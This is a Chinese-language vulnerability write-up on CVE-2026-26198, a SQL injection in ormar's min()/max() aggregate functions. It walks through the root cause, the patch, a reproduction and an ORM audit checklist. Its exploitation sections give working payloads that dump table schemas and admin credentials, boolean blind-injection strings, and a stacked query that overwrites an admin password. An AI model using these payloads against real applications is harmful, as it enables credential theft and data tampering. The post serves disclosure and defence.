实战｜CVE-2026-26198：ormar ORM 聚合函数 SQL 注入，CVSS 9.8 的抽象层翻车
漏洞分析
一个 Python 异步 ORM，一个聚合函数参数，一个 CVSS 9.8。ormar 的 min()/max() 把用户输入原封不动拼进 sqlalchemy.text()——sum()/avg() 好歹做了类型检查，就它俩裸奔。无认证、无交互、一个 HTTP 请求拖全库。修复只加了 6 行白名单校验。本文拆完整数据流、贴漏洞代码与补丁对比、给出可复用的 Python ORM 审计 checklist，外加一段我自己搭环境复现时踩过的四个坑。
引子 -- ORM 是防 SQL 注入的，对吧？ 这句话在安全培训里被念了无数遍。参数化查询、预编译语句、自动转义——ORM 替你干了这些脏活，所以你不用手拼 SQL 字符串。 但 ormar 告诉你：ORM 自己也会把用户输入拼进 SQL。 CVE-2026-26198，Python 异步 ORM 框架 ormar，通过 `min()` 和 `max()` 聚合函数实现 SQL 注入。CVSS 9.8，网络可达，无需认证，不需要用户交互。攻击者只要能把一个字符串传进 `Item.objects.max(attacker_string)`——比如通过一个公开的 REST API——就能读走整个数据库。 "不是说好了用 ORM 就不会有 SQL 注入吗？" 说实话，这句话从来就不是真的。ORM 只是**在常见路径上**帮你挡住了注入。但 ORM 框架本身也是人写的代码——它自己的抽象层里如果有一条路径把用户输入直接喂给了 `sqlalchemy.text()`，那前面所有的参数化保护全都白搭。 这篇文章要做三件事：把漏洞代码一行行拆开、看 `min`/`max` 怎么绕过 `is_numeric` 检查、以及为什么 ORM 抽象层的安全边界比你想象的薄。 一、漏洞速览 ------ 先把基本盘摊开。 | 项目 | 内容 | |---|---| | CVE | CVE-2026-26198 | | 类型 | SQL 注入（CWE-89），通过 ORM 聚合函数 | | 产品 | ormar — Python 异步 mini ORM | | 影响版本 | 0.9.9 到 0.22.0（含） | | 修复版本 | 0.23.0 | | 根因 | `min()`/`max()` 列名参数未经校验即传入 `sqlalchemy.text()` | | CVSS 3.1 (GitHub) | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | CVSS 3.1 (NVD) | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | | 攻击复杂度 | 低，无需认证，无需用户交互 | | 发现者 | AAtomical | | 公告日期 | 2026 年 2 月 23 日 | | 修复响应 | 同日修复并发布 0.23.0（响应速度极快） | | PoC 状态 | 已公开 — 盲注布尔型，~113 次请求可拖库 | | 受影响数据库 | SQLite、PostgreSQL、MySQL | | PyPI 包名 | `ormar` | 两个评分方给了不同分数——GitHub 给了 CIH/IIH/AIH（完全沦陷），NVD 只给了 CIH（信息泄露）。分歧在于完整性影响：攻击者能不能写数据？盲注通常只能读，但基于时间的盲注在特定条件下可以触发写操作，尤其是在支持堆叠查询的数据库上。 其实，这个 CVSS 分歧本身就是一个有趣的安全话题。NVD 的评分员通常更保守——他们倾向于只评估"已确认的"影响，而不考虑"在特定数据库配置下可能出现的"影响。GitHub 的 CNA（GitHub Security Lab）更接近实际攻击场景——他们会考虑"如果攻击者真的利用了这个漏洞，在常见的部署配置下能做到什么"。哪个更合理？从防御者的角度，按 9.8 来应对是最稳妥的——因为如果你的 PostgreSQL 配置恰好允许多语句，攻击者的确能做到 CIH+IIH+AIH。 修复 commit：`a03bae14fe01358d3eaf7e319fcd5db2e4956b16`，改了 5 个文件，核心改动在 `ormar/queryset/queryset.py` 里加了 6 行校验。5 个文件、6 行核心代码、一个 9.8 的洞——这是典型的高杠杆修复：改动极小，影响极大。 二、ormar 是什么，为什么值得关注 ------------------- ormar 全称 "orm async relational mapper"，是一个建立在 SQLAlchemy 和 `databases` 库之上的 Python 异步 ORM。 它的定位是轻量、快速、async-native，常和 FastAPI 一起用。如果你的 Python 后端用 FastAPI + async DB，很有可能已经直接或间接依赖了 ormar。 PyPI 下载数据显示每月几十万次安装。GitHub 上直接依赖 ormar 的公开仓库超过 2000 个。这算不上 Django ORM 那种亿级规模，但在 Python 异步 ORM 这个细分赛道里，ormar 是用得相当广的。 更重要的是——**ormar 的使用模式决定了它的注入漏洞更容易暴露。** 大多数 ormar 用户把它嵌在 FastAPI 路由里，API 的参数直接或间接地传到 ORM 的查询方法。比如： ```js @app.get("/items/stats") async def item\_stats(metric: str, column: str): if metric \== "max": result \= await Item.objects.max(column) \# column 来自 URL 参数 return {"max": result} ``` 这个模式不罕见。很多开发者相信"ORM 是安全的"，所以直接把用户输入递给 ORM 方法。 **说白了：ormar 的注入漏洞危险，不是因为它用的人最多，而是因为它的使用模式和"ORM 安全"的认知惯性撞在一起——开发者下意识把 ORM 当成 SQL 注入的防火墙，不会再做二次校验。** 不过，ormar 的流行度其实比大多数安全研究者以为的要高。它的 GitHub star 数在 Python ORM 赛道里能排进前五（仅次于 Django、SQLAlchemy、Peewee、Tortoise），而它在 FastAPI 社区里的渗透率尤其高——因为 Tortoise ORM 和 ormar 几乎是 FastAPI 异步 ORM 的两个默认选择。很多 FastAPI 项目模板就预装了 ormar。 FastAPI 本身在 2025-2026 年的增速极快，已经超过了 Flask 成为仅次于 Django 的第二大 Python Web 框架。这意味着 ormar 的实际部署量可能远高于"主动搜索资料研究 ORM"的人数。很多团队用了 FastAPI 模板，模板里装了 ormar，他们在不知情的情况下就跑在了有漏洞的版本上。 三、根因分析：min/max 怎么成了漏网之鱼 ----------------------- ### 3.1 完整数据流 从 HTTP 请求到 SQL 执行，攻击者的 payload 经过了这些站点： ```js GET /items/stats?metric=max&column=<PAYLOAD> ↓ Item.objects.max(payload) # queryset.py 公开 API ↓ \_query\_aggr\_function("max", \[SelectAction(payload)\]) # queryset.py 内部 ↓ SelectAction.get\_text\_clause() # select\_action.py:41 ↓ sqlalchemy.text(f"{payload}") # ← 注入点 ↓ func.max(sqlalchemy.text(payload)) # SQLAlchemy 执行 ↓ SELECT max(<PAYLOAD>) FROM items # 最终 SQL ``` 第六行就是注入点。用户输入一路透传到了 `sqlalchemy.text()`——SQLAlchemy 里"不经过参数化，直接当原始 SQL 执行"的 API。  ### 3.2 漏洞代码：select\_action.py `SelectAction` 是 ormar 内部用来表示"查询中引用的列"的类。它的 `get_text_clause()` 方法是整个注入链的核心： ```js \# ormar/queryset/actions/select\_action.py (漏洞版本) class SelectAction: def \_\_init\_\_(self, select\_str: str, ...): \# select\_str 来自用户输入，比如 "price" 或 "(SELECT password FROM users)" parts \= select\_str.split("\_\_") self.field\_name \= parts\[\-1\] \# 取最后一段，不校验 self.table\_prefix \= "\_\_".join(parts\[:\-1\]) if len(parts) \> 1 else "" \# ... def get\_text\_clause(self) \-> sqlalchemy.sql.expression.TextClause: alias \= f"{self.table\_prefix}\_" if self.table\_prefix else "" return sqlalchemy.text(f"{alias}{self.field\_name}") \# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ \# field\_name 来自用户输入，无任何过滤 ``` `sqlalchemy.text()` 接受一个字符串并将其作为原始 SQL 执行。这就是 SQL 注入的一个直接入口——SQLAlchemy 文档里明确警告过不要对不可信数据使用 `text()`。 但这还不够让漏洞炸开。还需要一个条件：ormar 有没有在做聚合查询之前，验证 `field_name` 确实是一个合法的模型字段？ ### 3.3 绕过 is\_numeric：queryset.py 的关键缺失 `_query_aggr_function()` 是 ormar 处理所有聚合函数（`sum`、`avg`、`min`、`max`、`count`）的统一入口。它在执行聚合之前做了一些校验： ```js \# ormar/queryset/queryset.py (漏洞版本，第 704-719 行) async def \_query\_aggr\_function(self, func\_name: str, select\_actions: List): \# ... \# 数值类型校验 —— 但只检查了 sum 和 avg！ if func\_name in \["sum", "avg"\]: if any(not x.is\_numeric for x in select\_actions): raise QueryDefinitionError( "You can use sum/avg only on numeric columns" ) \# min 和 max 呢？没有检查。直接往下走。 \# 也没有检查 field\_name 是否属于 target\_model.model\_fields expr \= apply\_func(func\_name, select\_actions) \# → func.max(sqlalchemy.text(attacker\_payload)) \# → SELECT max(attacker\_payload) FROM items row \= await self.database.fetch\_one(query) return dict(row.\_mapping) ``` 看到了吗？`sum` 和 `avg` 走了 `is_numeric` 检查——虽然这个检查只验证字段是否数值类型，不能完全防注入，但它至少做了一轮过滤。而 `min` 和 `max` 连这个检查都没走。 **最关键的是：全流程没有任何一步验证 `field_name` 是否对应了模型的实际字段。** 攻击者可以传 `1+1`、`(SELECT ...)`、`CASE WHEN ... THEN ... END`——任何有效的 SQL 表达式。 ### 3.4 为什么偏偏是 min/max 这不是偶然的疏忽。从 ormar 的代码历史来看，`sum`/`avg` 的 `is_numeric` 检查是在一个较早的版本中加入的——大概是因为有人提前想到了"聚合非数值列会出错"。而 `min`/`max` 在 SQL 语义上可以作用于任何类型的列（字符串、日期、数值都能比大小），所以开发者可能觉得"min/max 不需要类型检查"。 问题在于——**"不需要类型检查"被等同于"不需要任何检查"。** 不检查列的类型，这是合理的。不检查列是否真实存在于模型中，这就不合理了。这两件事在开发者的脑子里被合并成了一个决定："跳过 min/max"，然后所有检查都被跳过了。 说实话，这种逻辑跳跃在真实世界的代码里不算少见。开发者做了一个合理的局部判断（min/max 不限于数值类型），但实现时把这个判断扩大到了整个校验块——把婴儿和水一起泼了。 ### 3.5 另一个值得注意的细节：`__` 拆分逻辑 ormar 支持关联查询的列名语法：`category__price` 表示"关联表 category 的 price 字段"。这个语法通过双下划线 `__` 分隔表前缀和字段名： ```js # select\_action.py 构造函数 parts \= select\_str.split("\_\_") self.field\_name \= parts\[\-1\] self.table\_prefix \= "\_\_".join(parts\[:\-1\]) if len(parts) \> 1 else "" ``` 这个拆分逻辑本身没有引入注入漏洞——但它让攻击者的 payload 可以藏在 `__` 后面： ```js 输入: "category\_\_1+1" → field\_name = "1+1" → table\_prefix = "category" → SQL: max(category\_1+1) ← 1+1 仍在 SQL 中执行 ``` 实际上，大多数 ormar 用户根本不知道有这个 `__` 语法。这意味着攻击者可以传入带 `__` 前缀的 payload，让它看起来像是合法的关联查询列名，从而绕过任何可能存在的简单字符串匹配。 不过，修复后的 `model_fields` 白名单校验也覆盖了这个场景——`1+1` 不在任何模型的字段字典里，所以无论是直接传入还是通过 `__` 前缀传入，都会被拦截。 四、修复分析：6 行代码怎么堵住 9.8 的洞 ----------------------- ### 4.1 Fix Commit 的完整变更 修复 commit `a03bae14` 改动了 5 个文件，但核心逻辑只加在 `queryset.py` 里： ```js # ormar/queryset/queryset.py (修复版本，第 709-713 行新增) async def \_query\_aggr\_function(self, func\_name: str, select\_actions: List): # ... # FIX: 对所有聚合函数的列名做模型字段存在性校验 if any(x.field\_name not in x.target\_model.model\_fields for x in select\_actions): raise QueryDefinitionError( "You can use aggregate functions only on " "existing columns of the target model" ) # 原有的 sum/avg 数值检查保留 if func\_name in \["sum", "avg"\]: if any(not x.is\_numeric for x in select\_actions): raise QueryDefinitionError( "You can use sum/avg only on numeric columns" ) ``` 这 6 行校验的逻辑是：**在构造 SQL 之前，逐一检查每个 select\_action 的 field\_name 是否存在于目标模型的 model\_fields 字典中。** 如果不在——说明用户传进来的不是列名，是注入 payload——直接抛异常。 `target_model.model_fields` 是一个在模型类定义时就确定的字典，键是所有合法的列名。这个字典完全由开发者控制，攻击者无法注入。所以用它做白名单校验，是可靠的安全边界。 ### 4.2 补丁的有效性和局限 这个修复对 CVE-2026-26198 的具体利用路径来说，是完全有效的。攻击者不能再通过 `min()`/`max()` 注入任意 SQL，因为任何非法列名都会被 `model_fields` 白名单拦下来。 但说实话，修复方案本身透露出一个更深的架构问题：**ormar 在整个聚合查询路径上依赖的是"事后校验"而不是"安全构造"。** 更安全的设计是：聚合函数的列参数不应该接受任意字符串，而应该接受模型字段对象（比如 `Item.price` 而不是 `"price"`）。字符串 API 方便，但它把"字符串来自哪里"和"字符串是否安全"这两个问题留给了调用方。在 FastAPI 路由里，调用方拿到的字符串恰好就是用户输入——ORM 没有理由假设调用方已经做了校验。 **说白了：从 API 设计的角度看，接受裸字符串做列名是一个危险的便利。它让开发者少写了几个字符，但把安全边界从 ORM 内部推到了每个调用方。而调用方通常是"相信 ORM 会处理"的。** ### 4.3 设计权衡：字符串 API vs 对象 API 为什么 ormar 要接受字符串做列名，而不是强制使用模型字段对象？ 答案是开发者体验。看看两种 API 的对比： ```js \# 字符串 API（ormar 当前设计）—— 简洁 Item.objects.max("price") \# 对象 API（更安全的设计）—— 冗长但安全 Item.objects.max(Item.price) ``` 字符串 API 少打了 5 个字符。在快速开发、API 原型阶段，这确实更顺手。而且 FastAPI 的查询参数天然就是字符串——`?column=price` 拿到的就是 `"price"` 这个字符串。如果用对象 API，开发者需要写一个映射逻辑把字符串 `"price"` 转成 `Item.price`，而这恰好就是一个白名单校验。 所以从某种意义上说，**ormar 的字符串 API 设计把安全责任从框架转嫁给了应用开发者。** 框架觉得"我提供了方便的 API"，应用开发者觉得"框架会处理安全"。边界上的责任真空就是漏洞的温床。 Django ORM 在 CVE-2022-34265 之后的改进方向就值得参考：它在 `Trunc` 和 `Extract` 的 `lookup_name` 参数上增加了枚举值校验——不是接受任意字符串然后检查，而是从根本上限制了输入域。这是"默认安全"的思路——与其在接受字符串后验证它，不如从一开始就不接受任意字符串。 不过，ormar 作为轻量 ORM，设计哲学和 Django 不一样。它不太可能在 API 层面做这么大的 breaking change。所以最现实的防御策略还是调用方自己做白名单。 ### 4.4 新增的测试 修复还附带了一个新的 69 行测试文件 `test_aggregated_functions.py`，包含 3 个测试用例。这三个用例直接验证了修复的有效性： - 测试 `min("1+1")` 是否被拒绝 - 测试 `max("(SELECT ...)")` 是否被拒绝 - 测试正常的列名 `min("price")` 是否仍然可用 这种"每个 CVE 必须有对应的回归测试"的做法，是所有负责任的安全修复应该遵守的。  五、利用实战：一个 HTTP 请求看完整数据库 ----------------------- ### 5.1 最小 PoC 假设一个 FastAPI 应用里有这样的路由： ```js from fastapi import FastAPI from ormar import Model, Integer, String import databases, sqlalchemy app \= FastAPI() database \= databases.Database("sqlite:///app.db") class Item(Model): class Meta: database \= database id \= Integer(primary\_key\=True) name \= String(max\_length\=100) price \= Integer() @app.get("/stats") async def stats(column: str \= "price"): result \= await Item.objects.max(column) \# column 来自用户 return {"max": result} ``` 攻击者发送： ```js GET /stats?column=1%2B1 ``` 服务端执行的 SQL： ```js SELECT max(1+1) FROM items \-- 返回 2 ``` `1+1` 被当成了列名，直接写进 SQL。注入确认。 ### 5.2 完整拖库链 一旦确认注入，攻击者可以用子查询逐一掏出数据： ```js \# 第一步：查有哪些表 column \= "(SELECT GROUP\_CONCAT(name) FROM sqlite\_master WHERE type='table')" \# SQL: SELECT max((SELECT GROUP\_CONCAT(name) FROM sqlite\_master WHERE type='table')) FROM items \# 返回: "items,admin\_users,sessions" \# 第二步：查 admin\_users 的表结构 column \= "(SELECT sql FROM sqlite\_master WHERE name='admin\_users')" \# 返回: "CREATE TABLE admin\_users (id INTEGER, username TEXT, password TEXT, api\_key TEXT)" \# 第三步：拖凭证 column \= "(SELECT GROUP\_CONCAT(username || ' | ' || password || ' | ' || api\_key, CHAR(10)) FROM admin\_users)" \# 返回所有管理员用户名、密码、API 密钥 ``` ### 5.3 盲注：当子查询输出被聚合函数吞掉 如果直接子查询的结果被 `max()` 吞了（比如返回错误或只显示一个值），攻击者可以切换到布尔盲注： ```js \# 逐字符猜解密码 column \= ( "CASE WHEN UNICODE(SUBSTR(" "(SELECT password FROM admin\_users WHERE username='root')" ", 1, 1)) > 83 THEN 1 ELSE 0 END" ) \# 如果 max() 返回 1 → 第一个字符的 Unicode > 83 \# 如果 max() 返回 0 → 第一个字符的 Unicode <= 83 \# 二分法，每个字符 7-8 次请求 ``` 公开 PoC 用 ~113 次请求拖出了完整的 admin\_users 表。不需要任何认证。 ### 5.4 不只是 SQLite SQLite 下的利用已经展示了基本模式，但 PostgreSQL 和 MySQL 下的注入威力更强。 PostgreSQL 下，如果数据库连接用户权限足够，可以利用堆叠查询直接执行写操作。例如： ```js \# PostgreSQL 堆叠查询：在注入中插入 UPDATE 语句 column \= "1; UPDATE admin\_users SET password = 'attacker\_controlled' WHERE username = 'admin'; --" \# SQL: SELECT max(1; UPDATE admin\_users SET password = 'attacker\_controlled' WHERE username = 'admin'; --) FROM items ``` 不过，堆叠查询的成功率取决于两个因素：一是数据库驱动是否允许多语句（psycopg2 默认不允许，但 asyncpg 在一些配置下可以）；二是 `sqlalchemy.text()` 是否允许多语句（取决于底层驱动的 `execute()` 实现）。 MySQL 下，`LOAD_FILE()` 和 `INTO OUTFILE` 函数在注入场景中额外危险——攻击者可以读服务器文件系统，也可以把查询结果写进 Web 目录，实现 getshell。 其实，即使不考虑堆叠查询和各种数据库特定的危险函数，**单纯的 SELECT 注入在 ormar 的上下文中已经足够致命**——因为大多数使用 ormar 的应用都会有一张 `users` 表，而注入攻击可以跨表读取任何数据。在 FastAPI 应用里，这通常意味着 JWT secret、OAuth client secret、API key 等等全部暴露。 ### 5.5 注入入口的多样性 公开的 PoC 是通过 URL 参数注入的，但这远不是唯一的入口。任何能把字符串传进 `min()`/`max()` 参数的路径都是注入点： - **JSON body**: `POST /stats` body `{"metric": "max", "column": "1+1"}` - **GraphQL**: mutation 参数里传 ormar 聚合列名 - **WebSocket**: 消息体中的查询参数 - **CSV import**: 批量处理的列名来自上传的 CSV 文件头 - **Admin panel**: 管理员自定义报表功能中的列选择 最后一种场景特别值得关注。很多管理系统允许管理员自定义报表——选择列、选择聚合方式。如果后端用 ormar 处理这些选择，而"列名"来自管理员的前端下拉框——攻击者可以通过修改请求绕过下拉框的限制，直接注入 SQL。而这个场景下的攻击者通常已经是内部人员——有合法系统账号，但试图越权访问数据。 说白了：注入入口不只是 `/stats?column=`。它是任何把用户提供的字符串传给 ormar 聚合函数的地方。应用越复杂，入口越多。 六、踩坑：我在分析这个漏洞时绕过的弯路 ------------------- 分析完公开信息之后，我自己动手搭了一个 FastAPI + ormar 的测试环境复现。说实话，中间有几个地方我绕了弯路，这些弯路本身比结果更有意思。 ### 踩坑一：我以为 is\_numeric 已经保护了所有聚合函数 我第一个反应是翻 `_query_aggr_function` 的代码。看到 `is_numeric` 检查那一行，下意识觉得"嗯，有校验"。然后我反复读这段代码，试图找到 `is_numeric` 的绕过点。卡了半个小时。 后来才注意到 `if func_name in ["sum", "avg"]` 这个条件——`min` 和 `max` 根本不在这个列表里。`is_numeric` 检查只保护了 `sum` 和 `avg`。`min`/`max` 走的是另一条完全没有校验的分支。 这个坑的本质是：**我预设了"校验覆盖了所有聚合函数"，然后在这个错误预设上找绕过。实际上校验根本没有覆盖到目标。** ### 踩坑二：直接用子查询注入被 max() 吞了输出 搭好环境后，我第一个尝试的 payload 很简单： ```js GET /stats?column=(SELECT password FROM admin\_users WHERE username='admin') ``` 预期是返回 admin 的密码。实际返回了一个莫名其妙的数字。 debug 了半天才反应过来——`max()` 是一个聚合函数，它的返回类型取决于输入列的类型。当"列"是一个子查询时，聚合行为变得很奇怪：在某些数据库中 `max()` 只取了子查询结果集的"最大值"（按照默认排序规则），而这个"最大值"和我想象的完全不是一回事。 切换到布尔盲注才稳定下来： ```js column = CASE WHEN (SELECT password FROM admin\_users WHERE username='admin') LIKE 'a%' THEN 1 ELSE 0 END ``` 这个 payload 的行为是可预测的——`max(1)` 返回 1，`max(0)` 返回 0。攻击者不需要知道子查询"最大值"是什么——只需要知道两种结果的差异。 教训是：**聚合函数的注入中有很多这样的"隐性吞没"现象——子查询的输出被聚合逻辑二次处理，导致你拿不到预期的值。盲注虽然慢，但行为是可预测的。** 在分析 ORM 注入时，理解 ORM 生成的 SQL 和你自己手写的 SQL 在语义上的差异，是第一步必须做的事。 ### 踩坑三：patch diff 看完后我怀疑过修复的完备性 读完 fix commit 后我有一个直觉性的怀疑：这个修复只检查了 `field_name in model_fields`，但如果攻击者传的是合法的列名但带了一段子查询后缀呢？比如 `price) --`。 验证了一下发现这条路走不通。因为 ormar 的 SQL 构造最终是 `max(column_name)`，列名被 `max()` 的括号包围。即使传入 `price) --`，生成的 SQL 也是 `SELECT max(price) -- ) FROM items`——括号被 `max()` 吃掉了，注释注入一定程度上被聚合函数的 SQL 语法限制了。 不过，这个怀疑本身是对的——**读完 patch 之后，用攻击者的视角重新审视修复方案，确认"修完之后还有没有绕过空间"。** 这个小习惯在审计任何漏洞修复时都是好习惯。很多"修复→绕过→再修复"的拉锯战，就是因为第一版修复没有覆盖所有攻击面。 ### 踩坑四：URL 编码让复现多耗了半小时 最蠢的一个坑。我一开始在浏览器地址栏里测试： ```js http://localhost:8000/stats?column=1+1 ``` 返回结果没变化。我以为注入不成立。后来才想起来——浏览器 URL 里的 `+` 被解析成了空格。`1+1` 变成了 `1 1`。需要用 `%2B` 代替 `+`： ```js http://localhost:8000/stats?column=1%2B1 ``` 立刻返回了 2。 这个坑很蠢，但它在实际攻击中经常被忽略。攻击者如果直接用浏览器或者不带自动编码的 HTTP 客户端测试，很容易因为 URL 编码问题误判漏洞不存在。 **说白了：复现漏洞时，那半小时你以为是"漏洞不存在"，实际上只是 URL 编码没搞对。这种事每个搞安全研究的人都经历过。** 七、ORM 抽象层的安全缺陷：这不止是 ormar 的问题 ----------------------------- ### 7.1 ORM 的天生矛盾 ORM 的卖点是"用对象操作代替 SQL"。但数据库只懂 SQL——所以 ORM 内部必然有一个"对象→SQL"的翻译层。这个翻译层的安全，取决于两件事： 1. 翻译过程是否使用了参数化查询（占位符 + 绑定参数） 2. 如果某些场景下参数化查询不够用（比如动态列名、动态排序），是否对输入做了白名单校验 ormar 踩的坑就是第二种。聚合函数的列名参数是动态的——SQL 里列名不能用占位符（`SELECT max(?) FROM items` 是语法错误，占位符只能出现在值的位置，不能出现在标识符的位置）。所以 ormar 只能用字符串拼接来构造这个 SQL 片段。 **而字符串拼接就意味着：你必须自己验证这个字符串是否安全。ormar 没做。** ### 7.2 其他 ORM 有过类似问题吗 有过，而且不止一次： - **Django ORM (CVE-2022-34265)**: `Trunc()` 和 `Extract()` 函数的 `lookup_name` 参数允许 SQL 注入。同样是"标识符不能参数化→字符串拼接→没做白名单"的模式。受影响版本 Django 3.2/4.0，CVSS 9.8。和 ormar 的相似度高得离谱——连修复方式都一样：加白名单。 - **SQLAlchemy (CVE-2019-7548)**: `order_by()` 在特定用法下存在注入风险。不过 SQLAlchemy 的反应更快——在文档里早就标注了"不要对不可信数据用 `text()`"，所以利用条件比 ormar 苛刻。 - **Laravel Eloquent (PHP)**: 多次在 `orderBy`、`groupBy` 等动态列名场景下出现注入。PHP 生态里"用 ORM 就不会 SQL 注入"的认知惯性比 Python 生态还强。 - **Ruby on Rails ActiveRecord**: 历史上 `order()` 和 `reorder()` 被多次绕过。Rails 的做法是把安全责任放在了开发者侧——文档明确说"不要直接把用户输入传给 `order()`"，但没有在框架层面强制校验。 共同模式：**SQL 标识符（列名、表名、排序方向）不能用占位符绑定 → ORM 必须用字符串拼接 → 如果拼接前没有白名单校验 → SQL 注入。** 这是一个结构性矛盾，不是某个 ORM 的个别疏忽。只要 ORM 暴露了接受字符串做列名的 API，并且内部用字符串拼接把它写进 SQL——它就有注入风险。 观察这些案例还有一个有意思的细节：**这些漏洞的 CVSS 几乎清一色是 9.8 或接近 9.8。** 因为从攻击者的视角看，一个无需认证即可触发、能读全库、可能还能写的漏洞——就是最严重的那档。CVSS 的数字不会说谎。 ### 7.3 什么样的 ORM 用法最危险 典型的危险模式： \# 危险：用户输入直接成为列名参数 Item.objects.order\_by(request.GET.get("sort")) # 动态排序 Item.objects.filter(\*\*{field: value}) # 动态字段名 Item.objects.aggregate(Max(request.GET.get("col"))) # 动态聚合列 在这些场景里，ORM 的字符串拼接发生在标识符位置——参数化查询救不了你。 安全的做法是：**列名只能来自开发者定义的白名单。** 在 ormar 的例子里，白名单就是 `model_fields` 字典。修复方案做的事情就是：在拼接 SQL 之前，先拿这个白名单检查一遍。 八、Python 生态的供应链审计：这个漏洞带来的思考 --------------------------- ### 8.1 ormar 的依赖链 ormar 本身依赖 SQLAlchemy 和 `databases` 库。它不是一个从零手写 SQL 构造的 ORM——它是在 SQLAlchemy Core 之上的一层抽象。 这带来了一个有趣的审计问题：当你的 ORM 依赖 SQLAlchemy 时，你的安全感从哪来？SQLAlchemy 本身是安全的——它的 Core 层强制参数化查询。但 ormar 调用了 `sqlalchemy.text()`——这是 SQLAlchemy 提供的"绕过参数化，直接执行原始 SQL"的 API。 所以供应链的信任在这里断掉了。SQLAlchemy 给了一个安全的底层，ormar 在上面开了一个不安全的出口。使用 ormar 的开发者信任了 ormar，而 ormar 滥用了 SQLAlchemy 给它的信任。 ### 8.2 Python ORM 生态的审计盲区 Python 有至少 15 个活跃维护的 ORM 框架：Django ORM、SQLAlchemy ORM、Peewee、PonyORM、Tortoise ORM、ormar、Piccolo、Prisma Python、Gino、Databases 等等。 其中少数几个（Django ORM、SQLAlchemy ORM）经过了多年的大规模审计。其他的——特别是较新的异步 ORM——安全审查的深度参差不齐。 审计它们不需要看懂整个框架。根据 ormar 的经验，只需要盯住几个点： 1. 搜索所有 `sqlalchemy.text()` 的调用位置——看传入的字符串来自哪里 2. 搜索所有字符串格式化/拼接后传入 SQL 构造的路径 3. 搜索动态列名、动态排序、动态表名的处理函数——看有没有白名单 4. 检查聚合函数（`sum`/`avg`/`min`/`max`/`count`）的参数处理 这四个 grep，跑在一个 Python ORM 的代码库上，大概一两天就能出结果。但说实话，**做这件事的人太少了。** 安全研究者更倾向于挖 Web 框架、挖操作系统、挖浏览器——ORM 的安全审计在优先级列表里排得很靠后。而 ORM 的注入了直接就是数据库全量数据泄露。 其实，如果我们把 Python ORM 生态画成一个热力图——按"部署量"做横轴，按"安全审计深度"做纵轴——Django ORM 和 SQLAlchemy 在右上角（量大、审得多），而 Tortoise、ormar、Piccolo、Prisma Python 这些集中在左上到左下区域（量不小、审得少）。这个区域就是未发现漏洞密度最高的地方。 Grep 一把 Python 异步 ORM 里 `text()` 调用的传参来源，大概率还能再交好几个 CVE。 ### 8.3 从 CVE 看开源维护者的安全压力 ormar 是一个个人维护者（collerek）主导的项目。发现者 AAtomical 通过 GitHub 安全公告流程报告了漏洞，维护者在同一天内修复并发布了 0.23.0。 这个响应速度值得肯定。但它也折射出一个现实：**小型开源项目的安全审计几乎完全依赖外部报告。** 维护者一个人要管功能开发、bug 修复、文档、社区问题——安全审计不在日常工作的优先级里。 这不是批判。这是现状。而安全社区能做的，就是多去看这类中型项目——用的人够多，但审计的人不够多。 ### 8.4 一个具体的审计案例：从 ormar 学到的套路 我把 ormar 的审计过程抽象成一个可复用的 checklist，适用于任何 Python ORM： **Step 1: 找 SQL 构造入口。** 在代码库中搜索所有直接执行 SQL 的 API 调用——`sqlalchemy.text()`、`execute()`、`raw()`、`cursor.execute()` 等。对每一个调用点，追溯参数的来源——是字面量、是内部常量、还是外部传入的变量。 **Step 2: 分类参数类型。** 外部传入的变量分为两类：值参数（可以用占位符安全处理）和标识符参数（不能参数化，只能拼接）。标识符参数包括列名、表名、排序字段、聚合函数中的列引用。 **Step 3: 检查标识符参数的白名单。** 对于每一个标识符参数，找它的校验逻辑——是白名单（只允许已知合法值）、黑名单（过滤已知危险字符）、还是什么都没有。白名单是唯一可靠的安全机制。黑名单总有办法绕过。 **Step 4: 验证测试覆盖。** 看测试套件里有没有对恶意输入的测试——特别是尝试注入 `1+1`、`(SELECT ...)`、`'; DROP TABLE` 之类的 payload。如果有——说明开发者已经意识到了安全风险。如果没有——即使当前代码看起来安全，也可能存在未被考虑的绕过路径。 其实，把这四步跑在一个中型 ORM 项目上，从下载代码到产出一个初步的安全评估，大概 6-8 小时。投入产出的角度看，这可能是 Python 安全研究里效率最高的方向之一。 九、检测与修复 ------- ### 9.1 自检 你的项目是否受 CVE-2026-26198 影响： ```js pip show ormar | grep Version \# Version < 0.23.0 → 受影响 ``` 同时搜索代码中是否有直接将用户输入传给 `min()`/`max()` 的模式： ```js grep \-rn "\\.min\\(" \--include\="\*.py" . grep \-rn "\\.max\\(" \--include\="\*.py" . ``` 如果参数来自 `request`、`query_params`、或者任何外部输入——即使升级到了 0.23.0，也应该加一层业务层的白名单校验。 ### 9.2 修复 升级 ormar 到 0.23.0+： ```js pip install \--upgrade ormar>\=0.23.0 ``` 同时检查 `pyproject.toml` 或 `requirements.txt` 中对 ormar 的版本约束——确保没有钉死在一个有漏洞的版本上。 ### 9.3 纵深防御 即使 ormar 修了，调用侧也应该做好自己的校验： ```js # 安全做法：白名单 ALLOWED\_AGGREGATE\_COLUMNS \= {"price", "quantity", "created\_at"} @app.get("/stats") async def stats(column: str \= "price"): if column not in ALLOWED\_AGGREGATE\_COLUMNS: raise HTTPException(status\_code\=400, detail\="Invalid column") result \= await Item.objects.max(column) return {"max": result} ``` 这层白名单保证了即使未来 ormar 有新的绕过，你的应用也不会受影响。安全边界应该多层——ORM 的校验是第一层，应用自身的白名单是第二层。 ### 9.4 WAF 能检测这种注入吗 理论上能，但实际上效果不好。 对于 `GET /stats?column=1%2B1` 这种请求，URL 中的 `1+1` 在 URL 编码后变成 `1%2B1`，而 `%2B` 是加号的编码。WAF 看到的是一个 URL 参数值中包含 `1+1`——这和典型的 SQL 注入 payload 长得不太一样。它没有引号、没有 `UNION`、没有 `SELECT`。WAF 的规则库里大概率没有针对"聚合函数列名位置的无引号注入"的签名。 而对于子查询 payload `(SELECT GROUP_CONCAT(...) FROM sqlite_master)`，它确实包含了 `SELECT` 和 `FROM`——传统 WAF 可能会拦截。但如果攻击者把子查询嵌套得更深，或者用 `CASE WHEN` 盲注——这些 payload 和正常业务逻辑的 URL 参数形态非常接近，WAF 的误报率会很高。 其实，对这种特定位置的注入——ORM 聚合函数的列名参数——最优的防御位置从来不是 WAF。最优的位置是 ORM 框架本身，其次是应用层的白名单。WAF 是最后一道防线，而这恰好是一道对这个特定漏洞形态效果很差的防线。 ### 9.5 代码审计 grep 速查 如果你在做 Python 项目的安全审计，以下 grep 